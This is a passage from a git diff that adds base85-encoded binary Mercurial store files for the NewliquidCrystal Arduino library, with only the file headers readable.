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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/def/doxygen.def.txt.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/def/doxygen.def.txt.i new file mode 100644 index 0000000000000000000000000000000000000000..01178fd6525f1a65b92406aa14025b228bd864ca GIT binary patch literal 9223 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 